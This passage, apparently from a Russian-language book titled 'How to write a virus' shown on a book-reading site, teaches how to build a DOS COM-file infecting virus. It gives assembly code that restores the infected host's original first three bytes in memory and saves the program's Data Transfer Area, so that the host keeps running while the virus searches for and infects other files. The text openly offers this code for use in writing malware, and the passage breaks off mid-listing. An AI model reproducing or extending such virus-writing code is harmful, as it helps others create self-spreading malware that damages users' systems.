"Игорь Коваль. Как написать вирус" - читать интересную книгу автораКак было указано в 1.3 ( п.1 ), вирус должен пос- ле запуска зараженной программы восстановить в па- мяти компьютера ее исходные три байтa ( не на дис- ке, а только в памяти ! ) .Пусть вирус хранит ис- ходные три байта в области "old_bytes". Итак : fresh_bytes: mov al,old_bytes mov cs:[100h],al mov al,old_bytes+1 mov cs:[101h],al mov al,old_bytes+2 mov cs:[102h],al Вы конечно знаете,что в COM - программе при ее за- грузке по адресу CS : 100h всегда находится первая исполняемая команда .В остальном работа фрагмента ясна . 1.8 Запоминаем содержимое DTA Data Transfer Arrea ( DTA ) является одной из слу- PSP по смещению 80h, и активно используется пос- ледней при работе с файлами .Например,многие функ- ции MS DOS обращаются к DTA для чтения или моди- фикации ее содержимого.Поскольку DOS строит PSP для каждой вновь запускаемой программы, для каждой из них создается и своя DTA . Так как наш вирус будет использовать при заражении и поиске файлов функции DOS,содержимое DTA зараже- нной программы будет испорчено, и она, скорее все- го, не будет нормально работать.Поэтому содержимое DTA необходимо сохранить. Для этой цели выделим массив из 128 байт с именем "old_dta": mov cx,80h ;Размер DTA - ;128 байт ... mov bx,80h ;Смещение к DTA lea si,old_dta ;Адрес массива save_dta: mov al,byte ptr cs:[bx];Читаем из DTA ;байт и перено- mov ds:[si],al ;сим его в мас- ;сив ... inc bx ;К новому байту inc si ; |
|
|